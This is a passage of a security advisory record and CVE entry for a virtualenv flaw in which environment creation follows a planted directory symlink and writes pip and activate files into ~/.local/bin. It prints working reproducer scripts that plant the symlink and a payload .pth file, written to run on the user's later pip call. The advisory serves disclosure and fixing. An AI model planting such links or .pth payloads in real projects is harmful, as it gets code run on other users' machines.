destination reaches it.\n\n## Reproduction and evidence\n\nThe scanner\u0027s project tree contains `venv/bin -\u003e ../../.local/bin` and a `.pth` file in the environment\u0027s package tree.\nWith the user\u0027s initially empty `~/.local/bin` first on `PATH`, `virtualenv venv` exited successfully and wrote\n`python*`, `pip*`, and `activate*` into `~/.local/bin`. The marker was absent immediately after creation; a later\n`pip --version` on the user\u0027s `PATH` loaded the seeded environment and the planted `.pth` code wrote the marker. A\nsecond case began with the `bin` link resolving inside the environment; replacement of a planted package link during\nseeding changed where it resolved, and writes again reached `~/.local/bin`.\n\nThe attacker must prepare entries in an existing destination. The `.pth` content is already attacker-controlled and\nwould run if the user used that environment directly; the added effect is creation-time writing or replacement outside\nthe requested tree and an executable on the user\u0027s `PATH` pointing at it. The scanner traces this default builtin path\nto 20.0.0b1. [PR #3429](https://github.com/pypa/virtualenv/pull/3429) replaces linked directory components before\ncreation. Concurrent parent replacement remains a separate case.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant A as Prepared destination\n    participant V as Builtin creator\n    participant L as venv/bin symlink\n    participant H as ~/.local/bin\n    participant U as User\n    A-\u003e\u003eL: point to ../../.local/bin\n    V-\u003e\u003eL: ensure_dir accepts existing directory link\n    V-\u003e\u003eH: write python, pip and activate files through link\n    V--\u003e\u003eU: creation reports success\n    U-\u003e\u003eH: run pip found on PATH\n    H-\u003e\u003eA: interpreter loads planted .pth\n    A--\u003e\u003eU: marker created\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-MUFJEG11`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\nWORK = Path(\"/tmp/planted-bin-link\")\nshutil.rmtree(WORK, ignore_errors=True)\n\n\ndef user_creates_venv_in_checkout_then_runs_pip(home, make_checkout):\n    local_bin = home / \".local/bin\"\n    user_env = {\"HOME\": str(home), \"PATH\": f\"{local_bin}:{os.environ[\u0027PATH\u0027]}\"}\n    local_bin_before = set(os.listdir(local_bin))\n    payload_marker = home / \"PWNED\"\n\n    # the attacker\u0027s checkout arrives at ~/project\n    subprocess.run([sys.executable, f\"/tmp/repro.d/{make_checkout}\", home / \"project\"], check=True)\n    venv = home / \"project/venv\"\n    print(f\"CONTROL  venv/bin before the run resolves to {os.path.realpath(venv / \u0027bin\u0027)}\")\n\n    # default options; the flag only keeps the run off the network\n    subprocess.run([\"virtualenv\", \"--no-periodic-update\", \"--quiet\", \"venv\"], cwd=home / \"project\", env=user_env, check=True)\n    written = sorted(set(os.listdir(local_bin)) - local_bin_before)\n    payload_ran_at_creation = payload_marker.exists()\n    print(f\"OBSERVED venv/bin after the run resolves to  {os.path.realpath(venv / \u0027bin\u0027)}\")\n    print(f\"OBSERVED virtualenv wrote to {local_bin}: {written}\")\n    print(f\"OBSERVED ~/PWNED exists after virtualenv: {payload_ran_at_creation}\")\n\n    # later, in another folder, the user runs pip\n    pip = subprocess.run([\"pip\", \"--version\"], cwd=home, env=user_env, capture_output=True, text=True)\n    print(f\"OBSERVED pip --version: {(pip.stdout + pip.stderr).strip()}\")\n    print(f\"OBSERVED ~/PWNED exists after pip: {payload_marker.exists()}\")\n    return written, payload_marker.exists() and not payload_ran_at_creation\n\n\nprint(\"--- checkout_with_bin_link.py: venv/bin -\u003e ../../.local/bin\")\nhome = WORK / \"bin-link\"\n(home / \".local/bin\").mkdir(parents=True)\nwritten_1, pip_ran_payload_1 = user_creates_venv_in_checkout_then_runs_pip(home, \"checkout_with_bin_link.py\")\n\nprint(\"--- checkout_with_bin_link_staying_inside.py: venv/bin resolves inside venv/ until pip is seeded\")\nhome = WORK / \"bin-link-staying-inside\"\n(home / \".local/bin\").mkdir(parents=True)\n# python is linked before the bin link leads out, so the pip written to ~/.local/bin needs the user\u0027s own python there\n(home / \".local/bin/python\").symlink_to(\"/usr/local/bin/python3\")\nwritten_2, pip_ran_payload_2 = user_creates_venv_in_checkout_then_runs_pip(home, \"checkout_with_bin_link_staying_inside.py\")\n\n# check: virtualenv must write nothing outside ~/project/venv, let alone a pip that runs the checkout\u0027s .pth\nplain_link_followed = {\"pip\", \"activate\"} \u003c= set(written_1) and pip_ran_payload_1\nlink_staying_inside_followed = {\"pip\", \"activate\"} \u003c= set(written_2) and pip_ran_payload_2\nprint(\"---\")\nprint(f\"OBSERVED first checkout: pip, activate written to ~/.local/bin and pip ran the payload: {plain_link_followed}\")\nprint(f\"OBSERVED second checkout: pip, activate written to ~/.local/bin and pip ran the payload: {link_staying_inside_followed}\")\nprint(\"BUG\" if plain_link_followed or link_staying_inside_followed else \"OK\")\n```\n\n**`repro.d/checkout_with_bin_link.py`**\n\n```text\nimport sys\nfrom pathlib import Path\n\nvenv = Path(sys.argv[1]) / \"venv\"\n\n# one per minor version: the attacker does not know which Python the user has\nfor minor in range(9, 20):\n    site_packages = venv / f\"lib/python3.{minor}/site-packages\"\n    site_packages.mkdir(parents=True)\n    (site_packages / \"payload.pth\").write_text(\"import os; open(os.path.expanduser(\u0027~/PWNED\u0027), \u0027w\u0027).write(os.getcwd())\\n\")\n\n# relative to a checkout at ~/project\n(venv / \"bin\").symlink_to(\"../../.local/bin\")\n```\n\n**`repro.d/checkout_with_bin_link_staying_inside.py`**\n\n```text\nimport sys\nfrom pathlib import Path\n\nvenv = Path(sys.argv[1]) / \"venv\"\n\nsite_packages = venv / \"lib/py/site-packages\"\nsite_packages.mkdir(parents=True)\n(site_packages / \"payload.pth\").write_text(\"import os; open(os.path.expanduser(\u0027~/PWNED\u0027), \u0027w\u0027).write(os.getcwd())\\n\")\nfor minor in range(9, 20):\n    (venv / f\"lib/python3.{minor}\").symlink_to(\"py\")\n\n# pip -\u003e a folder 7 levels below venv/; the real pip folder the seeder puts in its place is only 4 levels below\n(venv / \"1/2/3/4/5/6/7\").mkdir(parents=True)\n(site_packages / \"pip\").symlink_to(\"../../../1/2/3/4/5/6/7\")\n\n# six levels up from venv/1/2/3/4/5/6/7 is venv/1; six levels up from ~/project/venv/lib/py/site-packages/pip is ~\n(venv / \"1/.local/bin\").mkdir(parents=True)\n(venv / \"bin\").symlink_to(\"lib/py/site-packages/pip\" + \"/..\" * 6 + \"/.local/bin\")\n```\n\n## Impact\n\nCreation can place or replace environment files outside the selected tree. The written bytes are environment-creation\noutput; arbitrary attacker-selected file contents are not established.\n\nSeverity: medium. CVSS 4.5, `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L`, assigned during maintainer review.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix removes pre-existing symbolic links and Windows junctions along executable and library directory paths.\nEach replacement is created immediately, and an existing entry must be a real directory. A warning names each replaced\nlink or junction. Directories can still be replaced after preparation; this does not protect against concurrent tree\nreplacement.\n\nFix: [PR #3429](https://github.com/pypa/virtualenv/pull/3429).\n\n## Known mitigation\n\nCreate environments in fresh directories beneath a parent controlled only by their owner. Do not reuse trees prepared by\nanother account.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-MUFJEG11.",
      "id": "BREW-virtualfish-CVE-2026-113716",
      "modified": "2026-11-19T09:55:50Z",
      "published": "2026-10-22T09:00:09Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-cw65-gx24-rc82"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113716"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/pull/3429"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/commit/554d9f9d4f7758f5cf53f993031e29787f1f74c5"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pypa/virtualenv"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
          "type": "CVSS_V3"
        }
      ],
      "summary": "virtualenv: Builtin creation follows linked environment directories",
      "upstream": [
        "GHSA-cw65-gx24-rc82",
        "CVE-2026-113716",
        "BIT-virtualenv-2026-113716",
        "PYSEC-2026-4375"
      ]
    }

    CVE-2026-113716 (GCVE-0-2026-113716)

    Vulnerability from cvelistv5 – Published: 2026-10-20 19:18 – Updated: 2026-10-21 15:52
    VLAI
    Title
    virtualenv: Builtin creation follows linked environment directories
    Summary
    virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, the builtin creator calls ensure_dir() for executable, library, and package directories, and ensure_dir() accepts an existing symlink to a directory because exists() follows it. Interpreter creation, seed installation, and activation generation then write through the linked parent outside the requested destination when another local account prepared the tree and the invoking user can access the target. The --clear option removes the planted tree first, while ordinary creation reaches it; arbitrary attacker-selected output bytes are not established. This issue is fixed in version 21.14.9.
    SSVC
    Exploitation: none Automatable: no Technical Impact: partial
    CISA Coordinator · CISA-ADP (v2.0.3)
    Decision recorded 2026-10-21 14:24 UTC
    CWE
    • CWE-59 - Improper Link Resolution Before File Access ('Link Following')
    Assigner
    GitHub_M CNA
    Impacted products
    Vendor Product Version
    pypa virtualenv Affected: < 21.14.9
    Create a notification for this product.
    Show details on NVD website

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